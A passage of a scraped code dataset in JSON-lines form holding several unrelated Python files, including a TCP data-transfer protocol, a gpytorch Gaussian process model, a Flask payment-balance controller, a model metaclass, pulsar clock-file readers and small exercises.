= 2\nEPISODE_START_FLAG       = 3\nEPISODE_END_FLAG         = 4\nTERMINATION_FLAG         = 5\nCONTROL_FLAG             = 6\nSUCCESS_RESPONSE_FLAG    = 7\nERROR_RESPONSE_FLAG      = 8\n\nEVEN_FLAG                = 0\nODD_FLAG                 = 1\n\nBUFFSIZE                 = 2048   # 255 double data, 510 float data\n\n\nclass Data_transfer(Number_conver, Tcpsocket):\n    def __init__(self, conn_type='server', port_num=8088, buffsize=200, host='127.0.0.1', debug_print=True):\n        Tcpsocket.__init__(self, conn_type, port_num, buffsize, host, debug_print)\n        Number_conver.__init__(self, debug_print)\n\n    def parity_check(self, data):\n        parity_num = 0\n        lens = len(data)\n        for i in range(lens):\n            parity_num += (data[i] % 2)\n        if parity_num % 2:\n            return ODD_FLAG          # odd\n        return EVEN_FLAG             # even\n\n    # when linux send char, the negative num send with the format of Complement:\n    def recv_char2byte(self, input_data):\n        output_data = []\n        for i in range(len(input_data)):\n            temp_bin = self.byte2bin(input_data[i])\n            if temp_bin[0] == 1:\n                temp_bin[0] = 0\n                abs_data = self.bin2byte(temp_bin) - 1\n                temp_bin = self.byte2bin(127 - abs_data)\n                temp_bin[0] = 1\n                output_data.append(self.bin2byte(temp_bin))\n            else:\n                output_data.append(input_data[i])\n        return output_data\n\n    # trans float data list to the format of send byte\n    # data format: 0: data_flag;1: data_type;2: parity_flag;3: data_length high;\n    # 4: data_length low;5~: byte data\n    def float2send_byte(self, float_data, bit=32, send_type='data'):\n        if bit != 32 and bit != 64:\n            raise Exception(\"float bit choose error !\")\n\n        data_bys = self.float_array2bys(float_data, bit)\n        self.debug_print(\"data_bys\", data_bys, len(data_bys))\n        parity_flag = self.parity_check(data_bys)\n        data_length = len(float_data)\n\n        send_bys = []\n        # add send_flag:\n        if send_type == 'data':\n            send_bys.append(DATA_FLAG)\n        elif send_type == 'control':\n            send_bys.append(CONTROL_FLAG)\n        else:\n            raise Exception(\"send type error !\")\n\n        # add data_type:\n        if bit == 32:\n            send_bys.append(DATA_FLOAT32)\n        else:\n            send_bys.append(DATA_FLOAT64)\n        # add parity flag:\n        send_bys.append(parity_flag)\n        # add data length's high byte:\n        send_bys.append(data_length // 256)\n        # add data length's low byte:\n        send_bys.append(data_length % 256)\n        # add data:\n        for i in range(len(data_bys)):\n            send_bys.append(data_bys[i])\n        return send_bys\n\n    # trans control instructions to the format of send byte\n    # data format: 0: send_flag(control flag); 1: module_name length; 2: func_name length;\n    # 3: parameters nums; 4: data length\n    # module name, func_name, [param data type, param_data]...\n    # data_lens: len(module_name) + len(func_name) + parameters nums + parameters bytes\n    def instruc2send_byte(self, module_name, func_name, params_list):\n        module_name_lens = len(module_name)\n        func_name_lens = len(func_name)\n        param_lens = len(params_list)\n\n        int_module_name = [ord(module_name[i]) for i in range(module_name_lens)]\n        int_func_name = [ord(func_name[i]) for i in range(func_name_lens)]\n        self.debug_print(\"module_name\", int_module_name, module_name_lens)\n        self.debug_print(\"func_name\", int_func_name, func_name_lens)\n        data_lens = module_name_lens + func_name_lens + param_lens\n        for i in range(param_lens):\n            data_lens += int(params_list[i][0] / 8)\n        send_bys = []\n\n        # 0. add send_flag:\n        send_bys.append(CONTROL_FLAG)\n        # 1. add module_name lengths:\n        send_bys.append(module_name_lens)\n        # 2. add func_name lengths:\n        send_bys.append(func_name_lens)\n        # 3. add parameters nums:\n        send_bys.append(param_lens)\n        # 4. add data_lens:\n        send_bys.append(data_lens)\n        # add module_name:\n        for i in range(module_name_lens):\n            send_bys.append(int_module_name[i])\n        # add func_name:\n        for i in range(func_name_lens):\n            send_bys.append(int_func_name[i])\n\n        # add params_list:\n        for i in range(param_lens):\n            data_type = params_list[i][0]  # float or double\n            parameters = params_list[i][1]\n            # add parameter data type:\n            send_bys.append(params_list[i][0])\n            # add parameter data:\n            param_bys = self.float2byte(parameters, data_type)\n            for i in range(len(param_bys)):\n                send_bys.append(param_bys[i])\n        return send_bys\n\n    # trans received byte to float data list\n    def recv_byte2float(self, recv_bys):\n        data_type = ord(recv_bys[DATA_TYPE_POSITION])  # 32 or 64\n        parity_flag = ord(recv_bys[PARITY_POSITION])\n        data_length = ord(recv_bys[DATA_LEN_POSITION]) * 256 + ord(recv_bys[DATA_LEN_POSITION + 1])\n        data_list = recv_bys[DATA_POSITION:(DATA_POSITION + data_length * int(data_type / 8))]\n        data_bys = [ord(v) for v in data_list]\n        if parity_flag != self.parity_check(data_bys):\n            print(\"parity check error !\")\n        float_array = self.bys2float_array(data_bys, data_type)\n        return float_array, data_type\n\n    def send_flag(self, flag):\n        # send_bys = bytes([flag])\n        send_bys = chr(flag)\n        self.debug_print(\"send_flag\", send_bys, len(send_bys))\n        self.send_bytes(send_bys)\n\n    def send_data(self, float_array, bit=32, send_type='data'):  # send_type: 'data' or 'control'\n        send_list = self.float2send_byte(float_array, bit, send_type)\n        send_bys = ''\n        for i in range(len(send_list)):\n            send_bys += chr(send_list[i])\n        # print(\"send bys: \", send_bys)\n        self.debug_print(\"send_bys\", send_bys, len(send_bys))\n        self.send_bytes(send_bys)\n\n    # func_name: strings, params_list: [[data_type, data]... ]\n    def send_control_instruction(self, module_name, func_name, params_list):\n        send_list = self.instruc2send_byte(module_name, func_name, params_list)\n        send_bys = ''\n        for i in range(len(send_list)):\n            send_bys += chr(send_list[i])\n        self.debug_print(\"send_bys\", send_bys, len(send_bys))\n        self.send_bytes(send_bys)\n\n    def recv_data(self, recv_lens=0):\n        float_array = []\n        recv_char = self.recv_bytes(recv_lens)\n        # print(type(recv_char), recv_char[0], len(recv_char), type(ord(recv_char[0])))\n        recv_bys = []\n        for i in range(len(recv_char)):\n            recv_bys.append(recv_char[i])\n        self.debug_print(\"recv_bys\", recv_bys, len(recv_bys))\n        # print(recv_bys)\n\n        recv_flag = ord(recv_bys[TRANS_FLAG_POSITION])\n        if DATA_FLAG == recv_flag or CONTROL_FLAG == recv_flag:\n            data_type = ord(recv_bys[DATA_TYPE_POSITION])  # 32 or 64\n            data_length = ord(recv_bys[DATA_LEN_POSITION]) * 256 + ord(recv_bys[DATA_LEN_POSITION + 1])\n            all_lens = 5 + data_length * int(data_type / 8)\n            received_lens = len(recv_bys)\n            rest_lens = all_lens - received_lens\n\n            while rest_lens:\n                recv_char = self.recv_bytes(rest_lens)\n                temp_bys = self.recv_char2byte(recv_char)\n                for i in range(len(temp_bys)):\n                    recv_bys.append(temp_bys[i])\n                rest_lens -= len(temp_bys)\n            float_array, _ = self.recv_byte2float(recv_bys)\n\n        # recv_flag = int(recv_bys[TRANS_FLAG_POSITION])\n        # if DATA_FLAG == recv_flag or CONTROL_FLAG == recv_flag:\n        #     data_type = int(recv_bys[DATA_TYPE_POSITION])  # 32 or 64\n        #     data_length = int(recv_bys[DATA_LEN_POSITION]) * 256 + int(recv_bys[DATA_LEN_POSITION + 1])\n        #     all_lens = 5 + data_length * int(data_type / 8)\n        #     received_lens = len(recv_bys)\n        #     rest_lens = all_lens - received_lens\n        #\n        #     while rest_lens:\n        #         recv_char = self.recv_bytes(rest_lens)\n        #         temp_bys = self.recv_char2byte(recv_char)\n        #         for i in range(len(temp_bys)):\n        #             recv_bys.append(temp_bys[i])\n        #         rest_lens -= len(temp_bys)\n        #     float_array, _ = self.recv_byte2float(recv_bys)\n        return recv_flag, float_array\n\n    def terminate(self):\n        print(\"send termination flag to hexa !\")\n        self.send_flag(TERMINATION_FLAG)\n        self.close_socket()\n\n    def handshake(self):\n        if self.conn_type == 'server':\n            print(\"waiting for connection flag...\")\n            recv_flag, _ = self.recv_data()\n            if CONNECTION_FLAG != recv_flag:\n                print(\"connect with client error !\")\n                return\n            else:\n                print(\"connect with client success !\")\n        elif self.conn_type == 'client':\n            print(\"send connection flag...\")\n            self.send_flag(CONNECTION_FLAG)\n            print(\"handshake success !\")\n","repo_name":"yychrzh/socket_connection","sub_path":"py_code/data_transfer2/py_protocol.py","file_name":"py_protocol.py","file_ext":"py","file_size_in_byte":10713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4210114390","text":"\"\"\"Gaussian Process Model.\"\"\"\n\nimport argparse\n\nimport gpytorch\n\nimport pytorch_lightning as pl\n\nimport torch\n\n\nclass BIMOEGP(gpytorch.models.ExactGP):\n    \"\"\"batch independent multioutput exact gp model.\"\"\"\n\n    def __init__(self, train_input_data, train_output_data, likelihood):\n        \"\"\"Initialize gp model with mean and covar.\"\"\"\n        super().__init__(train_input_data, train_output_data, likelihood)\n\n        output_dim = train_output_data.size(dim=1)\n        output_dim_torch = torch.Size([output_dim])\n\n        self.mean_module = \\\n            gpytorch.means.ConstantMean(batch_shape=output_dim_torch)\n\n        self.covar_module = gpytorch.kernels.ScaleKernel(\n            gpytorch.kernels.RBFKernel(batch_shape=output_dim_torch),\n            batch_shape=output_dim_torch)\n\n        # Receiving error when using jit:\n        # RuntimeError: mean shape torch.Size([9, 2]) is incompatible with covariance shape torch.Size([144, 144])\n        # Something wrong with prediction stage\n\n    # pylint: disable=arguments-differ\n    def forward(self, input_):\n        \"\"\"Compute prediction.\"\"\"\n        mean = self.mean_module(input_)\n        covar = self.covar_module(input_)\n\n        return \\\n            gpytorch.distributions.MultitaskMultivariateNormal.from_batch_mvn(\n                gpytorch.distributions.MultivariateNormal(mean, covar))\n\n\nclass MeanVarModelWrapper(torch.nn.Module):\n    \"\"\"Wrapper class to output prediction model.\"\"\"\n\n    def __init__(self, gp):\n        \"\"\"Initialize gp.\"\"\"\n        super().__init__()\n        self.gp = gp\n\n    def forward(self, input_):\n        \"\"\"Compute prediction.\"\"\"\n        output_dist = self.gp(input_)\n        return output_dist.mean, output_dist.variance\n\n\n# pylint: disable=too-many-ancestors\nclass BIMOEGPModel(pl.LightningModule):\n    \"\"\"batch independent multioutput exact gp model.\"\"\"\n\n    def __init__(self, train_input_data, train_output_data, **kwargs):\n        \"\"\"Initialize gp model with mean and covar.\"\"\"\n        super().__init__()\n\n        self.save_hyperparameters()\n\n        output_dim = self.hparams.train_output_data.shape[1]\n        self.likelihood = gpytorch.likelihoods.MultitaskGaussianLikelihood(\n            num_tasks=output_dim)\n\n        self.bimoegp = BIMOEGP(self.hparams.train_input_data,\n                               self.hparams.train_output_data,\n                               self.likelihood)\n\n        self.mll = gpytorch.mlls.ExactMarginalLogLikelihood(\n            self.likelihood, self.bimoegp)\n\n    # pylint: disable=arguments-differ\n    def forward(self, input_):\n        \"\"\"Compute prediction.\"\"\"\n        return self.bimoegp(input_)\n\n    # pylint: disable=unused-argument\n    def training_step(self, batch, batch_idx):\n        \"\"\"Compute training loss.\"\"\"\n        input_, target = batch\n        output = self(input_)\n\n        loss = -self.mll(output, target)\n\n        return {'loss': loss}\n\n    def configure_optimizers(self):\n        \"\"\"Create optimizer.\"\"\"\n        optimizer = torch.optim.Adam(\n            self.parameters(),\n            lr=self.hparams.learning_rate)\n\n        return optimizer\n\n    # pylint: disable=unused-argument\n    def validation_step(self, batch, batch_idx):\n        \"\"\"Compute validation loss.\"\"\"\n        input_, target = batch\n        output = self(input_)\n\n        loss = -self.mll(output, target)\n\n        return {'val_loss': loss}\n\n    # pylint: disable=no-self-use\n    def validation_epoch_end(self, outputs):\n        \"\"\"Record validation loss.\"\"\"\n        avg_loss = torch.stack([x['val_loss'] for x in outputs]).mean()\n        self.log('avg_val_loss', avg_loss)\n\n    # pylint: disable=unused-argument\n    def test_step(self, batch, batch_idx):\n        \"\"\"Compute testing loss.\"\"\"\n        input_, target = batch\n        output = self(input_)\n\n        loss = -self.mll(output, target)\n\n        return {'test_loss': loss}\n\n    def test_epoch_end(self, outputs):\n        \"\"\"Record average test loss.\"\"\"\n        avg_loss = torch.stack([x['test_loss'] for x in outputs]).mean()\n        self.log('avg_test_loss', avg_loss)\n\n    @ staticmethod\n    def add_model_specific_args(parent_parser):\n        \"\"\"Parse model specific hyperparameters.\"\"\"\n        parser = argparse.ArgumentParser(\n            parents=[parent_parser], add_help=False)\n        parser.add_argument('--learning_rate', type=float, default=1e-3)\n\n        return parser\n","repo_name":"acxz/pl-utils","sub_path":"pl_utils/models/gp.py","file_name":"gp.py","file_ext":"py","file_size_in_byte":4355,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"10415575854","text":"from flask import request, json, jsonify, Response\nimport requests\n\nfrom collections import OrderedDict\n\n# Using sha256 hashing algorithm and base64 encoder\nimport hashlib\nimport base64\n\nfrom server.handlers.response_handler import handle_response\n\nJSON_RESPONSE_TYPE = 'application/json'\n\nHEADERS = {\n    'Access-Control-Allow-Origin': '*',\n    'Access-Control-Allow-Methods': ['OPTIONS', 'GET', 'POST'],\n    'Access-Control-Allow-Headers': 'Content-Type'\n}\n\n\nclass BalanceController(object):\n\n    def __init__(self, app):\n        @app.route('/api/getBalance', methods=['POST'])\n        def get_total_balance():\n            company_hash = request.headers['Company-Hash']\n            string_to_hash = json.dumps({\n                'currencyIsoCode': str(request.values['currencyIsoCode'])\n            }) + str(company_hash)\n            signature = \"bytes-SHA256, \" + base64.b64encode(\n                hashlib.sha256(string_to_hash.encode('utf-8')).digest()).decode('utf-8')\n            coriunder_cloud_Token = request.headers['Coriunder-Cloud-Token']\n            headers = {'Content-type': JSON_RESPONSE_TYPE, 'applicationToken': \"51b4fbed-28d5-4735-8b7d-97394a32ddb5\",\n                       \"coriunder_cloud_Token\": coriunder_cloud_Token, \"Signature\": signature}\n\n            r = requests.post('https://webservices.coriunder.cloud/v2/balance.svc/GetTotal',\n                              data=json.dumps({\n                                  'currencyIsoCode': str(request.values['currencyIsoCode'])\n                              }),\n                              headers=headers)\n\n            return handle_response(r.json())\n\n        @app.route('/api/transferBalance', methods=['POST'])\n        def transfer_balance():\n            company_hash = \"3Yv6kN8L\"\n            request_body = json.dumps(\n                OrderedDict(destAcocuntId=request.values['destAccountId'], amount=float(request.values['amount']),\n                            currencyIso=request.values['currencyIso'], pinCode=request.values['pinCode']),\n                sort_keys=False)\n            string_to_hash = request_body + company_hash\n            signature = \"bytes-SHA256, \" + base64.b64encode(\n                hashlib.sha256(string_to_hash.encode('utf-8')).digest()).decode('utf-8')\n            coriunder_cloud_Token = request.headers['Coriunder-Cloud-Token']\n            headers = {'Content-type': JSON_RESPONSE_TYPE, 'applicationToken': \"51b4fbed-28d5-4735-8b7d-97394a32ddb5\",\n                       \"coriunder_cloud_Token\": coriunder_cloud_Token, \"Signature\": signature}\n\n            r = requests.post('https://webservices.coriunder.cloud/v2/balance.svc/TransferAmount',\n                              data=request_body,\n                              headers=headers)\n\n            return handle_response(r.json())\n","repo_name":"xMinh129/coripurse","sub_path":"server/controllers/balance_controller.py","file_name":"balance_controller.py","file_ext":"py","file_size_in_byte":2791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71346234980","text":"import collections\n\nimport logging\n\nimport datetime\n\nfrom aiokts.util.json_utils import JsonSerializable\n\n\nclass Field:\n    def __init__(self, default, private):\n        self.name = None\n        self.model = None\n        self.default = default\n        self.private = private\n\n    def transform_in(self, value):\n        return value\n\n    def transform_to_json(self, value):\n        return value\n\n    def __call__(self, value):\n        return self.transform_in(value)\n\n\nclass StringField(Field):\n    def __init__(self, default=None, private=False):\n        super().__init__(default, private)\n\n    def transform_in(self, value):\n        return str(value)\n\n\nclass IntField(Field):\n    def __init__(self, default=None, private=False):\n        super().__init__(default, private)\n\n    def transform_in(self, value):\n        return int(value)\n\n\nclass BooleanField(Field):\n    def __init__(self, default=None, private=False):\n        super().__init__(default, private)\n\n    def transform_in(self, value):\n        if value == 'true':\n            value = True\n        elif value == 'false':\n            value = False\n        return bool(value)\n\n\nclass UnixTimestampField(Field):\n    def __init__(self, default=None, private=False):\n        super().__init__(default, private)\n\n    def transform_in(self, value):\n        value = int(value)\n        return datetime.datetime.fromtimestamp(value)\n\n\nclass IntEnumField(Field):\n    def __init__(self, enum_cls, default=None, private=False, json_name=False):\n        super().__init__(default, private)\n        self.enum_cls = enum_cls\n        self.json_name = json_name\n\n    def transform_in(self, value):\n        return self.enum_cls(value)\n\n    def transform_to_json(self, value):\n        if self.json_name:\n            return value.name\n        return value.value\n\n\nclass DictField(Field):\n    def __init__(self, default=None, private=False):\n        super().__init__(default, private)\n\n    def transform_in(self, value):\n        assert isinstance(value, dict), \\\n            'value is not dict (but {}) for {}.{}'.format(\n                type(value), self.model.__name__, self.name\n            )\n        return value\n\n\nclass ForeignModelField(Field):\n    def __init__(self, model_cls, default=None, private=False):\n        super().__init__(default, private)\n        self.model_cls = model_cls\n\n    def transform_in(self, value):\n        return self.model_cls.parse(value)\n\n    def transform_to_json(self, value):\n        return value.__to_json__()\n\n\nclass DoesNotExistBase(Exception):\n    MODEL_CLS = None\n\n    def __init__(self, entity_id=None, message=None):\n        self.entity_id = entity_id\n        if message is None:\n            self.message = \\\n                \"Entity of type '{}' with id {} not found\".format(\n                    self.MODEL_CLS.__name__, self.entity_id)\n        else:\n            self.message = message\n\n    def __str__(self):\n        return self.message\n\n\nclass ModelMetaclass(type):\n    @classmethod\n    def __prepare__(mcs, name, bases):\n        return collections.OrderedDict()\n\n    def __new__(mcs, class_name, bases, class_dict):\n        if class_name != 'Model':\n            fields = collections.OrderedDict()\n            for name, value in class_dict.items():\n                if not name.startswith('__') \\\n                        and isinstance(value, Field):\n                    fields[name] = value\n            for name in fields:\n                del class_dict[name]\n\n            class_dict['_fields'] = fields\n\n        return super().__new__(mcs, class_name, bases, class_dict)\n\n    def __init__(cls, class_name, bases, class_dict):\n        class DoesNotExist(DoesNotExistBase):\n            MODEL_CLS = cls\n        cls.DoesNotExist = DoesNotExist\n        fields = class_dict['_fields']\n        if fields is not None:\n            for name, f in fields.items():\n                f.name = name\n                f.model = cls\n        super().__init__(class_name, bases, class_dict)\n\n\nclass Model(JsonSerializable, metaclass=ModelMetaclass):\n    _fields = None\n    DoesNotExist = None\n    LOGGER = logging.getLogger('aiokts.models')\n\n    def __init__(self, *args, **kwargs):\n        i = 0\n\n        used_kwargs = set()\n        for name, field in self._fields.items():\n            setattr(self, name, field.default)\n            if len(args) <= i:\n                # supplying kw arguments\n                if name in kwargs:\n                    v = kwargs[name]\n                    if v is not None:\n                        try:\n                            v = field.transform_in(v)\n                        except Exception as e:\n                            raise Exception('{} for field `{}` in {}'.format(\n                                str(e), name, self.__class__\n                            ))\n                        transformer = 'transform_{}'.format(name)\n                        if hasattr(self, transformer) \\\n                                and callable(getattr(self, transformer)):\n                            v = getattr(self, transformer)(v)\n                    setattr(self, name, v)\n                    used_kwargs.add(name)\n            else:\n                # supplying positional arguments\n                v = args[i]\n                if v is not None:\n                    v = field.transform_in(v)\n                setattr(self, name, v)\n                i += 1\n\n        if len(args) > i:\n            self.LOGGER.warning(\n                'Too many positional arguments passed. '\n                'Expected %s max', len(self._fields)\n            )\n            return\n\n        extra_kwargs = set(kwargs.keys()) - used_kwargs\n        if len(extra_kwargs) > 0:\n            self.LOGGER.warning(\n                'Unknown fields passed: %s', extra_kwargs)\n\n    def __to_json__(self):\n        res = {}\n        for name, field in self._fields.items():\n            if field.private:\n                continue\n            v = getattr(self, name)\n            if v is not None:\n                v = field.transform_to_json(v)\n                transformer = 'transform_json_{}'.format(name)\n                if hasattr(self, transformer) \\\n                        and callable(getattr(self, transformer)):\n                    v = getattr(self, transformer)(v)\n            res[name] = v\n        return res\n\n    def __repr__(self):\n        fields = ['{}={}'.format(k, getattr(self, k)) for k in self._fields]\n        return '<{} {}>'.format(self.__class__.__name__, ' '.join(fields))\n\n    @classmethod\n    def parse(cls, d: dict):\n        if d is None:\n            return None\n        return cls(**d)\n\n    @classmethod\n    def parse_list(cls, l: list):\n        if l is None or len(l) == 0:\n            return []\n        return list(map(lambda d: cls(**d), l))\n","repo_name":"ktsstudio/aiokts","sub_path":"aiokts/store/models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6721,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"6608106822","text":"\"\"\"Routines for reading various formats of clock file.\"\"\"\n\nimport logging\nimport os\nimport warnings\n\nimport astropy.units as u\nimport numpy as np\n\ntry:\n    from erfa import ErfaWarning\nexcept ImportError:\n    from astropy._erfa import ErfaWarning\n\nfrom pint.pulsar_mjd import Time\n\nlog = logging.getLogger(__name__)\n\n\nclass ClockFileMeta(type):\n    \"\"\"Metaclass that provides a registry for different clock file formats.\n    ClockFile implementations should define a 'format' class member giving\n    the name of the format.\"\"\"\n\n    def __init__(cls, name, bases, members):\n        regname = \"_formats\"\n        if not hasattr(cls, regname):\n            setattr(cls, regname, {})\n        if \"format\" in members:\n            getattr(cls, regname)[cls.format] = cls\n        super(ClockFileMeta, cls).__init__(name, bases, members)\n\n\nclass ClockFile(object, metaclass=ClockFileMeta):\n    \"\"\"The ClockFile class provides a way to read various formats of clock\n    files.  It will provide the clock information from the file as arrays\n    of times and clock correction values via the ClockFile.time and\n    ClockFile.clock properties.  The file should be initially read using the\n    ClockFile.read() method, for example:\n\n        >>> cf = ClockFile.read(os.getenv('TEMPO')+'/clock/time_gbt.dat')\n        >>> print cf.time\n        [ 51909.5  51910.5  51911.5 ...,  57475.5  57476.5  57477.5]\n        >>> print cf.clock\n        [-3.14  -3.139 -3.152 ...,  0.179  0.185  0.188] us\n\n    Or:\n\n        >>> cf = ClockFile.read(os.getenv('TEMPO2')+'/clock/gbt2gps.clk',\n                                    format='tempo2')\n        >>> print cf.time\n        [ 51909.5  51910.5  51911.5 ...,  57411.5  57412.5  57413.5]\n        >>> print cf.clock\n        [ -3.14000000e-06  -3.13900000e-06  -3.15200000e-06 ...,   1.80000000e-08\n           2.10000000e-08   2.30000000e-08] s\n\n    \"\"\"\n\n    @classmethod\n    def read(cls, filename, format=\"tempo\", **kwargs):\n        if format in cls._formats.keys():\n            return cls._formats[format](filename, **kwargs)\n        else:\n            raise ValueError(\"clock file format '%s' not defined\" % format)\n\n    @property\n    def time(self):\n        return self._time\n\n    @property\n    def clock(self):\n        return self._clock\n\n    def evaluate(self, t, limits=\"warn\"):\n        \"\"\"Evaluate the clock corrections at the times t (given as an\n        array-valued Time object).  By default, values are linearly\n        interpolated but this could be overridden by derived classes\n        if needed.  The first/last values will be applied to times outside\n        the data range.  If limits=='warn' this will also issue a warning.\n        If limits=='error' an exception will be raised.\"\"\"\n\n        if np.any(t < self.time[0]) or np.any(t > self.time[-1]):\n            msg = \"Data points out of range in clock file '%s'\" % self.filename\n            if limits == \"warn\":\n                log.warning(msg)\n            elif limits == \"error\":\n                raise RuntimeError(msg)\n\n        # Can't pass Times directly to np.interp.  This should be OK:\n        return np.interp(t.mjd, self.time.mjd, self.clock.to(u.us).value) * u.us\n\n\nclass Tempo2ClockFile(ClockFile):\n\n    format = \"tempo2\"\n\n    def __init__(self, filename, **kwargs):\n        self.filename = filename\n        log.debug(\n            \"Loading {0} observatory clock correction file {1}\".format(\n                self.format, filename\n            )\n        )\n        mjd, clk, self.header = self.load_tempo2_clock_file(filename)\n        # NOTE Clock correction file has a time far in the future as ending point\n        with warnings.catch_warnings():\n            warnings.simplefilter(\"ignore\", ErfaWarning)\n            self._time = Time(mjd, format=\"pulsar_mjd\", scale=\"utc\")\n        self._clock = clk * u.s\n\n    @staticmethod\n    def load_tempo2_clock_file(filename):\n        \"\"\"Reads a tempo2-format clock file.  Returns three values:\n        (mjd, clk, hdrline).  The first two are float arrays of MJD and\n        clock corrections (seconds).  hdrline is the first line of the file\n        that specifies the two clock scales connected by the file.\"\"\"\n        f = open(filename, \"r\")\n        hdrline = f.readline().rstrip()\n        try:\n            mjd, clk = np.loadtxt(f, usecols=(0, 1), unpack=True)\n        except:\n            log.error(\"Failed loading clock file {0}\".format(f))\n            raise\n        if not np.all(mjd[:-1] <= mjd[1:]):\n            log.error(\n                \"Clock file {} is invalid. MJDs must be in order!\".format(filename)\n            )\n            raise RuntimeError\n        return mjd, clk, hdrline\n\n\nclass TempoClockFile(ClockFile):\n\n    format = \"tempo\"\n\n    def __init__(self, filename, obscode=None, **kwargs):\n        self.filename = filename\n        self.obscode = obscode\n        log.debug(\n            \"Loading {0} observatory ({1}) clock correction file {2}\".format(\n                self.format, obscode, filename\n            )\n        )\n        mjd, clk = self.load_tempo1_clock_file(filename, site=obscode)\n        # NOTE Clock correction file has a time far in the future as ending point\n        # We are swithing off astropy warning only for gps correction.\n        with warnings.catch_warnings():\n            warnings.simplefilter(\"ignore\", ErfaWarning)\n            try:\n                self._time = Time(mjd, format=\"pulsar_mjd\", scale=\"utc\")\n            except ValueError:\n                log.error(\n                    \"Filename {0}, site {1}: Bad MJD {2}\".format(filename, obscode, mjd)\n                )\n                raise\n        self._clock = clk * u.us\n\n    @staticmethod\n    def load_tempo1_clock_file(filename, site=None):\n        \"\"\"\n        Given the specified full path to the tempo1-format clock file,\n        will return two numpy arrays containing the MJDs and the clock\n        corrections (us).  All computations here are done as in tempo, with\n        the exception of the 'F' flag (to disable interpolation), which\n        is currently not implemented.\n\n        INCLUDE statments are processed.\n\n        If the 'site' argument is set to an appropriate one-character tempo\n        site code, only values for that site will be returned, otherwise all\n        values found in the file will be returned.\n        \"\"\"\n        # TODO we might want to handle 'f' flags by inserting addtional\n        # entries so that interpolation routines will give the right result.\n        mjds = []\n        clkcorrs = []\n        for l in open(filename).readlines():\n            # Ignore comment lines\n            if l.startswith(\"#\"):\n                continue\n\n            # Process INCLUDE\n            # Assumes included file is in same dir as this one\n            if l.startswith(\"INCLUDE\"):\n                clkdir = os.path.dirname(os.path.abspath(filename))\n                filename1 = os.path.join(clkdir, l.split()[1])\n                mjds1, clkcorrs1 = TempoClockFile.load_tempo1_clock_file(\n                    filename1, site=site\n                )\n                mjds.extend(mjds1)\n                clkcorrs.extend(clkcorrs1)\n                continue\n\n            # Parse MJD\n            try:\n                mjd = float(l[0:9])\n                # allow mjd=0 to pass, since that is often used\n                # for effectively null clock files\n                if (mjd < 39000 and mjd != 0) or mjd > 100000:\n                    mjd = None\n            except (ValueError, IndexError):\n                mjd = None\n            # Parse two clkcorr values\n            try:\n                clkcorr1 = float(l[9:21])\n            except (ValueError, IndexError):\n                clkcorr1 = None\n            try:\n                clkcorr2 = float(l[21:33])\n            except (ValueError, IndexError):\n                clkcorr2 = None\n\n            # Site code on clock file line must match\n            try:\n                csite = l[34].lower()\n            except IndexError:\n                csite = None\n            if (site is not None) and (site.lower() != csite):\n                continue\n\n            # Need MJD and at least one of the two clkcorrs\n            if mjd is None:\n                continue\n            if (clkcorr1 is None) and (clkcorr2 is None):\n                continue\n            # If one of the clkcorrs is missing, it defaults to zero\n            if clkcorr1 is None:\n                clkcorr1 = 0.0\n            if clkcorr2 is None:\n                clkcorr2 = 0.0\n            # This adjustment is hard-coded in tempo:\n            if clkcorr1 > 800.0:\n                clkcorr1 -= 818.8\n            # Add the value to the list\n            mjds.append(mjd)\n            clkcorrs.append(clkcorr2 - clkcorr1)\n\n        return mjds, clkcorrs\n","repo_name":"LBJ-Wade/PINT","sub_path":"src/pint/observatory/clock_file.py","file_name":"clock_file.py","file_ext":"py","file_size_in_byte":8695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23756041663","text":"\ndef factorial(n):\n    if n == 0 or n == 1:\n        return 1\n    else:\n        return n * factorial(n-1)\n\n# Ejemplo de uso\nnumero = 5\nresultado = factorial(numero)\nprint(f\"El factorial de {numero} es {resultado}\")\n","repo_name":"Neobraingit/practica","sub_path":"64_Factorial.py","file_name":"64_Factorial.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24486772178","text":"from flask import Flask, request, jsonify\nimport traceback \nimport predict\n\napp = Flask(__name__)\n\n@app.route('/predict', methods=['POST'])\ndef run():\n    try:\n        data = request.get_json(force=True)\n        input_params = data['input']\n        result =  predict.predict(input_params)\n        return jsonify({'prediction': result})\n    except Exception as e:\n        print(traceback.format_exc())\n        return jsonify({'error': str(e)})\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=8080)\n","repo_name":"itayariel/imdb_keras","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"38826325498","text":"import re\r\n\r\n# The search() function returns a Match object:\r\n\r\ntxt = \"The rain zThe in Spain\"\r\nx = re.findall(\"The\", txt)\r\nprint(x)\r\nprint(len(x))\r\nf = ['aba', 'baba', 'aba', 'xzxb']\r\nt = \" \".join(f)\r\nprint(t)\r\nq = ['aba', 'xzxb', 'ab']\r\nfor i, b in enumerate(q):\r\n    a = re.findall(b, t)\r\n    print(len(a))\r\n\r\n# ----------\r\nstring = ['aba', 'baba', 'aba', 'xzxb']\r\nqueries = ['aba', 'xzxb', 'ab']\r\n\r\n\r\n\r\ndef matchingStrings(strings, queries):\r\n    li = []\r\n    for i, b in enumerate(queries):\r\n        a = strings.count(b)\r\n        li.append(a)\r\n    return li\r\n\r\n\r\nprint(matchingStrings(string, queries))\r\n","repo_name":"nome-1/portfolio","sub_path":"python-pro/MockPrep/Sparse Arrays.py","file_name":"Sparse Arrays.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
